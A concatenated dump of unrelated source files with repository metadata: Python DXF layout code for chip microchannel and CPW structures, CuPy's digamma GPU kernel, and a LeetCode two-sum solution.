pts9=[(pinw/2.+ccdwidth/2.-gapw,stub_length+gapw),(pinw/2.+ccdwidth/2.-gapw,stub_length+gapw+ccdlength-gapw),(pinw/2.+ccdwidth/2.,stub_length+gapw+ccdlength-gapw),(pinw/2.+ccdwidth/2.,stub_length+gapw),(pinw/2.+ccdwidth/2.-gapw,stub_length+gapw)] pts10=[(-pinw/2.,stub_length+ccdlength),(-pinw/2.,stub_length+gapw+ccdlength),(-pinw/2.-ccdwidth/2.,stub_length+gapw+ccdlength),(-pinw/2.-ccdwidth/2.,stub_length+ccdlength),(-pinw/2.,stub_length+ccdlength)] pts11=[(pinw/2.,stub_length+ccdlength),(pinw/2.,stub_length+gapw+ccdlength),(pinw/2.+ccdwidth/2.,stub_length+gapw+ccdlength),(pinw/2.+ccdwidth/2.,stub_length+ccdlength),(pinw/2.,stub_length+ccdlength)] shapes=[pts1,pts2,pts3,pts4,pts5,pts6,pts7,pts8,pts9,pts10,pts11] numberofchannels=(ccdwidth-2*gapw+pinw-channelwidth)/(2*channelwidth) numberofchannels=int(round(float(numberofchannels))) totalchannelwidth=(2*numberofchannels-1)*channelwidth padding=((ccdwidth+pinw-2*gapw)-totalchannelwidth)/2. innerwidthstart=-pinw/2.-ccdwidth/2.+2*channelwidth+gapw #inner width of structure measured from left self.numberofchannels=numberofchannels self.channelwidth=channelwidth for j in range(numberofchannels): pts_temp=[(innerwidthstart+channelwidth+padding,stub_length+gapw+channelwidth), (innerwidthstart+channelwidth+padding,stub_length+gapw+ccdlength-2*channelwidth-gapw), (innerwidthstart+padding,stub_length+gapw+ccdlength-2*channelwidth-gapw), (innerwidthstart+padding,stub_length+gapw+channelwidth), (innerwidthstart+channelwidth+padding,stub_length+gapw+channelwidth)] pts_temp=translate_pts(pts_temp,((j-1)*2*channelwidth,0)) shapes.append(pts_temp) pts12=[(-innerwidthstart-padding+2*channelwidth,stub_length+gapw+ccdlength-2*channelwidth-gapw), (-innerwidthstart-padding+2*channelwidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+channelwidth), (innerwidthstart+padding-2*channelwidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+channelwidth), (innerwidthstart+padding-2*channelwidth,stub_length+gapw+ccdlength-2*channelwidth-gapw), (-innerwidthstart-padding+2*channelwidth,stub_length+gapw+ccdlength-2*channelwidth-gapw)] shapes.append(pts12) center=orient_pt((0,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((feed_length,0),s.last_direction,s.last) lstart=orient_pt((stub_length,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) self.defaults['pinw']=pinw self.defaults['gapw']=gapw #------------------------------------------------------------------------------------------------- class CCDChannelTeeL2(Structure): """CCDChannelTee makes a tee structure with microchannels attached this is the second layer for the thin electrodes""" def __init__(self,structure,stub_length=None,feed_length=None,flipped=False,pinw=None,gapw=None,spinw=None,sgapw=None,ccdwidth=100,ccdlength=100,channelwidth=8,electrodewidth=3): """ stub_length is from center flipped determines whether stub is on left or right of wrt current direction pinw/gapw are the usual for the stub spinw/sgapw are the usual for the continuing part """ s=structure #print sgapw if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if spinw is None: spinw=s.defaults['pinw'] if sgapw is None: sgapw=s.defaults['gapw'] #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) #minimum feed_length is if (feed_length is None) or (feed_length < 2*gapw+pinw): feed_length=2*gapw+pinw #minimum stub_length is if (stub_length is None) or (stub_length < gapw+spinw): stub_length=gapw+spinw/2 #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir angle=start_dir #useful definitions numberofchannels=(ccdwidth-2*gapw+pinw-channelwidth)/(2*channelwidth) numberofchannels=int(round(float(numberofchannels))) totalchannelwidth=(2*numberofchannels-1)*channelwidth padding=((ccdwidth+pinw-2*gapw)-totalchannelwidth)/2. innerwidthstart=-pinw/2.-ccdwidth/2.+2*channelwidth+gapw #inner width of structure measured from left self.numberofchannels=numberofchannels self.channelwidth=channelwidth shapes=[] #make the fingers for j in range(numberofchannels): pts_temp=[(innerwidthstart+channelwidth+padding-electrodewidth,stub_length+gapw+channelwidth+electrodewidth), (innerwidthstart+channelwidth+padding-electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+electrodewidth), (innerwidthstart+padding+electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+electrodewidth), (innerwidthstart+padding+electrodewidth,stub_length+gapw+channelwidth+electrodewidth), (innerwidthstart+channelwidth+padding-electrodewidth,stub_length+gapw+channelwidth+electrodewidth)] pts_temp=translate_pts(pts_temp,((j-1)*2*channelwidth,0)) shapes.append(pts_temp) pts1=[(-innerwidthstart+2*channelwidth-padding-electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+electrodewidth), (-innerwidthstart+2*channelwidth-padding-electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+channelwidth-electrodewidth), (innerwidthstart-2*channelwidth+padding+electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+channelwidth-electrodewidth), (innerwidthstart-2*channelwidth+padding+electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+electrodewidth), (-innerwidthstart+2*channelwidth-padding-electrodewidth,stub_length+gapw+ccdlength-2*channelwidth-gapw+electrodewidth)] shapes.append(pts1) center=orient_pt((0,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((feed_length,0),s.last_direction,s.last) lstart=orient_pt((stub_length,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) self.defaults['pinw']=pinw self.defaults['gapw']=gapw #------------------------------------------------------------------------------------------------- class ChannelReservoirL1(Structure): """ChannelReservoir - first layer width=total width of reservoir length=total length of reservoir channelw=width of individual channels""" def __init__(self,structure,flipped=False,width=100,length=100,channelw=8): s=structure start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir+90 angle=start_dir #note: numberofchannels is twice the true number of channels since #it also contains the spacing between the channels numberofchannels=length/(2*channelw) numberofchannels=int(round(float(numberofchannels))) length=numberofchannels*2*channelw-channelw self.numberofchannels=numberofchannels leftchannel=[(-width/2.,0),(-channelw/2.,0),(-channelw/2.,channelw),(-width/2.,channelw),(-width/2.,0)] rightchannel=[(width/2.,0),(channelw/2.,0),(channelw/2.,channelw),(width/2.,channelw),(width/2.,0)] # add the first channels on lhs and rhs side of center shapes=[leftchannel,rightchannel] # add the other channels by translation for j in range(1,numberofchannels): pts_lhs=translate_pts(leftchannel,(0,j*2*channelw)) pts_rhs=translate_pts(rightchannel,(0,j*2*channelw)) shapes.append(pts_lhs) shapes.append(pts_rhs) centerbox=[(-channelw/2,0),(channelw/2.,0),(channelw/2.,length),(-channelw/2.,length),(-channelw/2.,0)] shapes.append(centerbox) center=orient_pt((0,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((0,length),s.last_direction,s.last) lstart=orient_pt((0,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) #------------------------------------------------------------------------------------------------- class ChannelReservoirL2(Structure): """ChannelReservoir - second layer width=total width of reservoir length=total length of reservoir channelw=width of individual channels""" def __init__(self,structure,flipped=False,width=100,length=100,channelw=8,electrodewidth=2): s=structure start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir+90 angle=start_dir #note: numberofchannels is twice the true number of channels since #it also contains the spacing between the channels numberofchannels=length/(2*channelw) numberofchannels=int(round(float(numberofchannels))) length=numberofchannels*2*channelw-channelw self.numberofchannels=numberofchannels delta=(channelw-electrodewidth)/2. leftchannel=[(-width/2.+delta,delta),(-channelw/2.+delta,delta),(-channelw/2.+delta,delta+electrodewidth),(-width/2.+delta,delta+electrodewidth),(-width/2.+delta,delta)] rightchannel=[(width/2.-delta,delta),(channelw/2.-delta,delta),(channelw/2.-delta,delta+electrodewidth),(width/2.-delta,delta+electrodewidth),(width/2.-delta,delta)] # add the first channels on lhs and rhs side of center shapes=[leftchannel,rightchannel] # add the other channels by translation for j in range(1,numberofchannels): pts_lhs=translate_pts(leftchannel,(0,j*2*channelw)) pts_rhs=translate_pts(rightchannel,(0,j*2*channelw)) shapes.append(pts_lhs) shapes.append(pts_rhs) centerbox=[(-electrodewidth/2,0),(electrodewidth/2.,0),(electrodewidth/2.,length),(-electrodewidth/2.,length),(-electrodewidth/2.,0)] shapes.append(centerbox) center=orient_pt((0,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((0,length),s.last_direction,s.last) lstart=orient_pt((0,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) #------------------------------------------------------------------------------------------------- class ChannelFingerCap: """A Channel finger capacitor""" def __init__(self,num_fingers,finger_length,finger_width,finger_gap,taper_length=10,channelw=2,capacitance=0.0): self.type='Channel finger cap' self.capacitance=capacitance #simulated capacitance self.num_fingers=num_fingers #number of fingers if num_fingers<2: raise MaskError("ChannelFingerCap must have at least 2 fingers!") self.finger_length=finger_length #length of fingers self.finger_width=finger_width #width of each finger self.finger_gap=finger_gap self.pinw = num_fingers*finger_width+ (num_fingers-1)*finger_gap #effective center pin width sum of finger gaps and widths self.length=finger_length+finger_gap self.taper_length=taper_length self.gapw=channelw def description(self): return "type:\t%s\tAssumed Capacitance:\t%f\t# of fingers:\t%d\tFinger Length:\t%f\tFinger Width:\t%f\tFinger Gap:\t%f\tTotal Pin Width:\t%f\tTaper Length:\t%f" % ( self.type,self.capacitance*1e15,self.num_fingers,self.finger_length,self.finger_width,self.finger_gap,self.pinw,self.taper_length ) def draw(self,structure): s=structure pinw=self.pinw ChannelLinearTaper(s,length=self.taper_length,start_channelw=self.gapw,stop_channelw=self.pinw) start=s.last center_width=self.num_fingers*self.finger_width+ (self.num_fingers-1)*self.finger_gap length=self.finger_length+self.finger_gap #draw finger gaps pts1=self.left_finger_points(self.finger_width,self.finger_length,self.finger_gap) pts1=translate_pts(pts1,start) pts1=rotate_pts(pts1,s.last_direction,start) #pts1=translate_pts(pts1,(self.finger_length+self.finger_gap,0)) s.append(sdxf.PolyLine(pts1)) pts2=self.right_finger_points(self.finger_width,self.finger_length,self.finger_gap) pts2=translate_pts(pts2,start) pts2=rotate_pts(pts2,s.last_direction,start) #pts2=translate_pts(pts2,(self.finger_length+self.finger_gap,0)) s.append(sdxf.PolyLine(pts2)) stop=rotate_pt((start[0]+self.finger_length+self.finger_gap,start[1]),s.last_direction,start) s.last=stop ChannelLinearTaper(s,length=self.taper_length,start_channelw=self.pinw,stop_channelw=self.gapw+2.5) def left_finger_points(self,finger_width,finger_length,finger_gap): pts= [ (0,self.pinw/2.), (finger_length,self.pinw/2.), (finger_length,self.pinw/2.-finger_width), (0,self.pinw/2.-finger_width), (0,self.pinw/2.) ] return pts def right_finger_points(self,finger_width,finger_length,finger_gap): pts= [ (finger_gap,-self.pinw/2.), (finger_gap+finger_length,-self.pinw/2.), (finger_gap+finger_length,-self.pinw/2.+finger_width), (finger_gap,-self.pinw/2.+finger_width), (finger_gap,-self.pinw/2.) ] return pts def ext_Q(self,frequency,impedance=50,resonator_type=0.5): if self.capacitance==0: return 0 frequency=frequency*1e9 q=2.*pi*frequency*self.capacitance*impedance Q=0 if q!=0: Q=1/(resonator_type*pi) *1/ (q**2) return Q #------------------------------------------------------------------------------------------------- class ForkCoupler(Structure): """makes a fork-shaped structure of electrodes fork_width is the total width of the fork""" def __init__(self,structure,fork_width=None,fork_length=None,flipped=False,finger_width=None,channelw=None): """ """ s=structure start=s.last start_dir=s.last_direction if channelw is None: channelw=s.defaults['channelw'] #minimum fork_width is if (fork_width is None) or (fork_width < channelw): fork_width=channelw if (fork_length is None) or (fork_length < channelw): fork_length=channelw if finger_width is None: finger_width=channelw/2. if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir angle=start_dir-90 #fork vertical pts1=[ (-fork_width/2.,0), (-fork_width/2.,finger_width), (fork_width/2.,finger_width),(fork_width/2.,0), (-fork_width/2.,0)] #fork finger one pts2=[ (-fork_width/2.,finger_width),(-fork_width/2.,finger_width+fork_length),(-fork_width/2.+finger_width,finger_width+fork_length),(-fork_width/2.+finger_width,finger_width),(-fork_width/2.,finger_width)] #fork finger two pts3=[ (fork_width/2.,finger_width),(fork_width/2.,finger_width+fork_length),(fork_width/2.-finger_width,finger_width+fork_length),(fork_width/2.-finger_width,finger_width),(fork_width/2.,finger_width)] shapes=[pts1,pts2,pts3] center=orient_pt((0,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((fork_length,0),s.last_direction,s.last) lstart=orient_pt((0,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) #s.last=orient_pt((0,0),s.last_direction,s.last) #lstart=orient_pt((0,0),s.last_direction,s.last) #Structure.__init__(self,s.chip,start=lstart,direction=0,layer=s.layer,color=s.color,defaults=s.defaults) #self.defaults['channelw']=channelw #======================================================================= # MISC COMPONENTS/CLASSES #======================================================================= class CapDesc: """Description of a capacitor, including physical geometry and simulated capacitance valid types are ('gap','finger','L') !deprecated!CPWLinearTaper """ def __init__(self,capacitance,cap_gap,gapw,num_fingers=0,finger_length=0,finger_width=0,type='gap'): self.capacitance=capacitance #simulated capacitance self.num_fingers=num_fingers #number of fingers (0 means gap cap) self.finger_length=finger_length #length of fingers self.finger_width=finger_width #width of each finger self.cap_gap = cap_gap #gap between fingers or center pins self.finger_gap=cap_gap #for convenience set this to finger_gap self.gapw = gapw #gap between "center pin" and gnd planes self.pinw = num_fingers*finger_width+ (num_fingers-1)*cap_gap #effective center pin width sum of finger gaps and widths def draw_cap(self,structure): if self.num_fingers>0: CPWFingerCap(structure,self.num_fingers,self.finger_length,self.finger_width,self.cap_gap,self.gapw) else: CPWGapCap(structure,self.cap_gap) class AlphaNum: """A polyline representation of an alphanumeric character, does not use structures""" def __init__(self,drawing,letter,size,point,direction=0): if (letter=='') or (letter==' '): return #s=structure scaled_size=(size[0]/16.,size[1]/16.) for pts in alphanum_dict[letter.lower()]: mpts = scale_pts(pts,scaled_size) mpts = orient_pts(mpts,direction,point) drawing.append(sdxf.PolyLine(mpts)) #s.last=orient_pt( (size[0],0),s.last_direction,s.last) class AlphaNumText: """Renders a text string in polylines, does not use structures""" def __init__(self,drawing,text,size,point,centered=False,direction=0): self.text=text if text is None: return if centered: offset=(-size[0]*text.__len__()/2.,0) point=orient_pt(offset,direction,point) for letter in text: AlphaNum(drawing,letter,size,point,direction) point=orient_pt( (size[0],0),direction,point) class AlignmentCross: def __init__(self,drawing,linewidth,size,point): lw=linewidth/2. w=size[0]/2. h=size[1]/2. pts=[ (-lw,-h), (lw,-h), (lw,-lw),(w,-lw),(w,lw),(lw,lw),(lw,h),(-lw,h),(-lw,lw),(-w,lw),(-w,-lw),(-lw,-lw),(-lw,-h)] pts=translate_pts(pts,point) drawing.append(sdxf.PolyLine(pts)) def arc_pts(start_angle,stop_angle,radius,segments=360): pts=[] for ii in range(segments): theta=(start_angle+ii/(segments-1.)*(stop_angle-start_angle))*pi/180. p=(radius*cos(theta),radius*sin(theta)) pts.append(p) return pts class fluxWebBlock(sdxf.Block): """fluxWebBlock is block that will be tiled to create the flux webbing """ def __init__(self,name,holeL=5.,period=10.,chipSize=(7000.,2000.)): self.name=name self.holeL=holeL self.period=period self.chipSize=chipSize self.cols=int(floor(chipSize[0]/period)) self.rows=int(floor(chipSize[1]/period)) self.layer='fluxweb' self.color=4 self.base=(0,0) sdxf.Block.__init__(self,self.name,self.layer,self.base) offset = (period-holeL)/2. holePoints =[ (offset,offset), (offset+holeL,offset), (offset+holeL,offset+holeL), (offset,offset+holeL), (offset,offset), ] self.append(sdxf.PolyLine(holePoints,layer=self.layer,color=self.color)) class QuarterMask(sdxf.Drawing): """Mask class for placing chips on a 1"x1" sapphire quarter. """ def __init__(self,name,chip_size=(7000.,2000.),dicing_border=350,cols=3,rows=10,labelToggle=True): sdxf.Drawing.__init__(self) self.name=name self.fileName=name+".dxf" self.chip_size=chip_size self.dicing_border=dicing_border self.cols=cols self.rows=rows self.labelToggle = labelToggle #Creates Border Box patternW = cols*chip_size[0]+(cols+1)*dicing_border patternH = rows*chip_size[1]+(rows+1)*dicing_border borderPadding = 5000. border=Structure(self,start=(0,0),color=3,layer="border") box=[ (0-borderPadding,0-borderPadding), (patternW+borderPadding,0-borderPadding), (patternW+borderPadding,patternH+borderPadding), (0-borderPadding,patternH+borderPadding), (0-borderPadding,0-borderPadding) ] border.append(sdxf.PolyLine(box,layer=border.layer,color=border.color)) #Creates list of chip insert locations chip_points=[] for ii in range(rows): for jj in range(cols): x=jj*(chip_size[0]+dicing_border)+dicing_border y=ii*(chip_size[1]+dicing_border)+dicing_border pt = (x,y) chip_points.append(pt) self.chip_points=chip_points self.chip_slots=chip_points.__len__() self.current_point=0 self.manifest=[] self.num_chips=0 def add_chip(self,chip,copies=1): """Adds chip design 'copies' times into mask. chip must have a unique name as it will be inserted as a block""" #generate flux web block definition if chip.makeWeb: flux=fluxWebBlock(chip.name+'WEB',holeL=chip.fluxHoleLength,period=chip.fluxPeriod,chipSize=chip.size) self.blocks.append(flux) #add blocks to drawing self.blocks.append(chip) slots_remaining=self.chip_points.__len__()-self.current_point for ii in range (copies): if self.current_point>= self.chip_points.__len__(): raise MaskError("MaskError: Cannot add %d copies of chip '%s' Only %d slots on mask and %d remaining." % (copies,chip.name,self.chip_points.__len__(),slots_remaining)) p=self.chip_points[self.current_point] self.current_point+=1 self.append(sdxf.Insert(chip.name,point=p)) if chip.makeWeb: self.append(sdxf.Insert(flux.name,point=p,cols=flux.cols,colspacing=flux.period,rows=flux.rows,rowspacing=flux.period)) if self.labelToggle: chip.label_chip(self,maskid=self.name,chipid=chip.name+str(ii+1),offset=p) self.num_chips+=1 #self.manifest.append({'chip':chip,'name':chip.name,'copies':copies,'short_desc':chip.short_description(),'long_desc':chip.long_description()}) #print "%s\t%d\t%s" % (chip.name,copies,chip.short_description()) chip.save(fname=self.name+"-"+chip.name,maskid=self.name,chipid=chip.name) def randomize_layout(self): """Shuffle the order of the chip_points array so that chips will be inserted (pseudo-)randomly""" seed=124279234 for ii in range(10000): i1=randrange(self.chip_points.__len__()) i2=randrange(self.chip_points.__len__()) tp=self.chip_points[i1] self.chip_points[i1]=self.chip_points[i2] self.chip_points[i2]=tp """ Updated functions to create various structures with advance protection options they'll have the same name except with a p in front """ class pDrawBondPad: def __init__(self,drawing,pos,Ang,bond_pad_length=None,launcher_pinw=None,launcher_gapw=None,taper_length=None, pinw=None, gapw=None): """ Created on 08/09/2011 @author: Brendon Rose Script appends a BondPad on drawing and position pos and Angle Ang relative to the positive x-axis CCW is positive """ "Set Self-attributes" #Launcher parameters set to default if nothing was input if bond_pad_length == None: bond_pad_length = 400. if launcher_pinw == None: launcher_pinw = 150. if launcher_gapw == None: launcher_gapw = 67.305 if taper_length == None: taper_length = 300. #if launcher_padding == None: launcher_padding = 350. #if launcher_radius == None: launcher_radius = 125. if pinw == None: pinw = drawing.defaults['pinw'] if gapw == None: gapw = drawing.defaults['gapw'] s = drawing #define structure for writting bond pad to s.last = pos #Position to put bond pad s.last_direction = Ang #Angle to put bond pad #launcher_length=taper_length+bond_pad_length+launcher_padding "Draw the BondPad and a curly wire to offset launcher" pCPWStraight(s,length=bond_pad_length,pinw=launcher_pinw,gapw=launcher_gapw) pCPWLinearTaper(s,length=taper_length,start_pinw=launcher_pinw,start_gapw=launcher_gapw,stop_pinw=pinw,stop_gapw=gapw) class pCPWStraight: """A straight section of CPW transmission line""" def __init__(self, structure,length,pinw=None,gapw=None,protect=None,centerPinHoleWidth=None): """ Adds a straight section of CPW transmission line of length = length to the structure""" if length==0: return s=structure start=structure.last if pinw is None: pinw=structure.defaults['pinw'] if gapw is None: gapw=structure.defaults['gapw'] if protect is None: protect=structure.defaults['protect'] if centerPinHoleWidth is None: centerPinHoleWidth=structure.defaults['centerPinHoleWidth'] gap1=[ (start[0],start[1]+pinw/2), (start[0]+length,start[1]+pinw/2), (start[0]+length,start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2) ] gap2=[ (start[0],start[1]-pinw/2), (start[0]+length,start[1]-pinw/2), (start[0]+length,start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2) ] gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) """adding code to create protect box""" prow = pinw+2*gapw+2*protect pro_inner = pinw/2-centerPinHoleWidth pro1=[ (start[0],start[1]+pro_inner), (start[0]+length,start[1]+pro_inner), (start[0]+length,start[1]+prow/2), (start[0],start[1]+prow/2), (start[0],start[1]+pro_inner) ] pro2=[ (start[0],start[1]-pro_inner), (start[0]+length,start[1]-pro_inner), (start[0]+length,start[1]-prow/2), (start[0],start[1]-prow/2), (start[0],start[1]-pro_inner) ] pro1=rotate_pts(pro1,s.last_direction,start) pro2=rotate_pts(pro2,s.last_direction,start) s.append(sdxf.PolyLine(pro1,layer="ProtectLayer")) s.append(sdxf.PolyLine(pro2,layer="ProtectLayer")) class pCPWLinearTaper: """A section of CPW which (linearly) tapers from one set of start_pinw and start_gapw to stop_pinw and stop_gapw over length=length""" def __init__(self, structure,length,start_pinw,stop_pinw,start_gapw,stop_gapw,protect=None,centerPinHoleWidth=None): if length==0: return if protect is None: protect=structure.defaults['protect'] if centerPinHoleWidth is None: centerPinHoleWidth=structure.defaults['centerPinHoleWidth'] #load attributes s=structure start=s.last #define geometry of gaps gap1= [ (start[0],start[1]+start_pinw/2), (start[0]+length,start[1]+stop_pinw/2), (start[0]+length,start[1]+stop_pinw/2+stop_gapw), (start[0],start[1]+start_pinw/2+start_gapw), (start[0],start[1]+start_pinw/2) ] gap2= [ (start[0],start[1]-start_pinw/2), (start[0]+length,start[1]-stop_pinw/2), (start[0]+length,start[1]-stop_pinw/2-stop_gapw), (start[0],start[1]-start_pinw/2-start_gapw), (start[0],start[1]-start_pinw/2) ] #rotate structure to proper orientation gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) #create polylines and append to drawing s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) #update last anchor position stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop """adding code to create protect box""" start_prow = start_pinw+2*start_gapw+2*protect start_pro_inner = start_pinw/2-centerPinHoleWidth stop_prow = stop_pinw+2*stop_gapw+2*protect stop_pro_inner = stop_pinw/2-centerPinHoleWidth pro1=[ (start[0],start[1]+start_pro_inner), (start[0]+length,start[1]+stop_pro_inner), (start[0]+length,start[1]+stop_prow/2), (start[0],start[1]+start_prow/2), (start[0],start[1]+start_pro_inner) ] pro2=[ (start[0],start[1]-start_pro_inner), (start[0]+length,start[1]-stop_pro_inner), (start[0]+length,start[1]-stop_prow/2), (start[0],start[1]-start_prow/2), (start[0],start[1]-start_pro_inner) ] pro1=rotate_pts(pro1,s.last_direction,start) pro2=rotate_pts(pro2,s.last_direction,start) s.append(sdxf.PolyLine(pro1,layer="ProtectLayer")) s.append(sdxf.PolyLine(pro2,layer="ProtectLayer"))
8792f9fb40411dda7586be8db31e4e63b961154c
2dd814284a1408706459e7dd6295a4575617c0c6
/cupyx/scipy/special/digamma.py
af54d2a7fd9ec2e5072f91abcaa7fd7cf6a903c3
[ "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
dendisuhubdy/cupy
4e31c646fa697f69abbb07f424910cc8e5f0e595
b612827e858b8008455a76e8d9b396386c1e4467
refs/heads/master
2021-01-23T10:56:45.639699
2018-07-12T17:41:26
2018-07-12T17:41:26
93,111,021
0
0
MIT
2019-12-09T06:55:54
2017-06-02T00:31:07
Python
UTF-8
Python
false
false
4,681
py
# This source code contains SciPy's code. # https://github.com/scipy/scipy/blob/master/scipy/special/cephes/psi.c # # # Cephes Math Library Release 2.8: June, 2000 # Copyright 1984, 1987, 1992, 2000 by Stephen L. Moshier # # # Code for the rational approximation on [1, 2] is: # # (C) Copyright John Maddock 2006. # Use, modification and distribution are subject to the # Boost Software License, Version 1.0. (See accompanying file # LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) import cupy from cupy import core _digamma_kernel = None polevl_definition = ''' template<int N> static __device__ double polevl(double x, double coef[]) { double ans; double *p; p = coef; ans = *p++; for (int i = 0; i < N; ++i){ ans = ans * x + *p++; } return ans; } ''' psi_definition = ''' __constant__ double A[] = { 8.33333333333333333333E-2, -2.10927960927960927961E-2, 7.57575757575757575758E-3, -4.16666666666666666667E-3, 3.96825396825396825397E-3, -8.33333333333333333333E-3, 8.33333333333333333333E-2 }; __constant__ double PI = 3.141592653589793; __constant__ double EULER = 0.5772156649015329; __constant__ float Y = 0.99558162689208984f; __constant__ double root1 = 1569415565.0 / 1073741824.0; __constant__ double root2 = (381566830.0 / 1073741824.0) / 1073741824.0; __constant__ double root3 = 0.9016312093258695918615325266959189453125e-19; __constant__ double P[] = { -0.0020713321167745952, -0.045251321448739056, -0.28919126444774784, -0.65031853770896507, -0.32555031186804491, 0.25479851061131551 }; __constant__ double Q[] = { -0.55789841321675513e-6, 0.0021284987017821144, 0.054151797245674225, 0.43593529692665969, 1.4606242909763515, 2.0767117023730469, 1.0 }; static __device__ double digamma_imp_1_2(double x) { /* * Rational approximation on [1, 2] taken from Boost. * * Now for the approximation, we use the form: * * digamma(x) = (x - root) * (Y + R(x-1)) * * Where root is the location of the positive root of digamma, * Y is a constant, and R is optimised for low absolute error * compared to Y. * * Maximum Deviation Found: 1.466e-18 * At double precision, max error found: 2.452e-17 */ double r, g; g = x - root1 - root2 - root3; r = polevl<5>(x - 1.0, P) / polevl<6>(x - 1.0, Q); return g * Y + g * r; } static __device__ double psi_asy(double x) { double y, z; if (x < 1.0e17) { z = 1.0 / (x * x); y = z * polevl<6>(z, A); } else { y = 0.0; } return log(x) - (0.5 / x) - y; } double __device__ psi(double x) { double y = 0.0; double q, r; int i, n; if (isnan(x)) { return x; } else if (isinf(x)){ if(x > 0){ return x; }else{ return nan(""); } } else if (x == 0) { return -1.0/0.0; } else if (x < 0.0) { /* argument reduction before evaluating tan(pi * x) */ r = modf(x, &q); if (r == 0.0) { return nan(""); } y = -PI / tan(PI * r); x = 1.0 - x; } /* check for positive integer up to 10 */ if ((x <= 10.0) && (x == floor(x))) { n = (int)x; for (i = 1; i < n; i++) { y += 1.0 / i; } y -= EULER; return y; } /* use the recurrence relation to move x into [1, 2] */ if (x < 1.0) { y -= 1.0 / x; x += 1.0; } else if (x < 10.0) { while (x > 2.0) { x -= 1.0; y += 1.0 / x; } } if ((1.0 <= x) && (x <= 2.0)) { y += digamma_imp_1_2(x); return y; } /* x is large, use the asymptotic series */ y += psi_asy(x); return y; } ''' def _get_digamma_kernel(): global _digamma_kernel if _digamma_kernel is None: _digamma_kernel = core.ElementwiseKernel( 'T x', 'T y', """ y = psi(x) """, 'digamma_kernel', preamble=polevl_definition+psi_definition ) return _digamma_kernel def digamma(x): """The digamma function. Args: x (cupy.ndarray): The input of digamma function. Returns: cupy.ndarray: Computed value of digamma function. .. seealso:: :data:`scipy.special.digamma` """ if x.dtype.char in '?ebBhH': x = x.astype(cupy.float32) elif x.dtype.char in 'iIlLqQ': x = x.astype(cupy.float64) y = cupy.zeros_like(x) _get_digamma_kernel()(x, y) return y
1fa1a301a80606168abdda73ff6ba0c7c75eb089
0c6c7365d6ff8b694bc906ec5f74c741e8bb0d37
/Algorithms/1-Two-Sum.py
5a8065a1ff799e35aa89d3fd7283348dbcfd26ad
[]
no_license
XiongQiuQiu/leetcode-slove
d58ab90caa250c86b7a1ade8b60c669821d77995
60f0da57b8ea4bfb937e2fe0afe3caea719cd7e4
refs/heads/master
2021-01-23T11:21:15.069080
2019-07-08T15:42:48
2019-07-08T15:42:48
93,133,558
1
0
null
null
null
null
UTF-8
Python
false
false
696
py
''' Given an array of integers, return indices of the two numbers such that they add up to a specific target. You may assume that each input would have exactly one solution, and you may not use the same element twice. Example: Given nums = [2, 7, 11, 15], target = 9, Because nums[0] + nums[1] = 2 + 7 = 9, return [0, 1]. ''' class Solution(object): def twoSum(self, nums, target): """ :type nums: List[int] :type target: int :rtype: List[int] """ have = {} for i in xrange(len(nums)): if target - nums[i] in have: return (have[target - nums[i]], i) else: have[nums[i]] = i
9082848ae2d0cc2948f499a7e0d5ab47e3aea76a
7109eecfb78e0123b534ef960dbf42be38e49514
/x7-src/engine/engine/db/__init__.py
092a2b6c0406d609cd15150f7c8c97faf8669621
[ "Apache-2.0" ]
permissive
wendy-king/x7_compute_venv
a6eadd9a06717090acea3312feebcbc9d3925e88
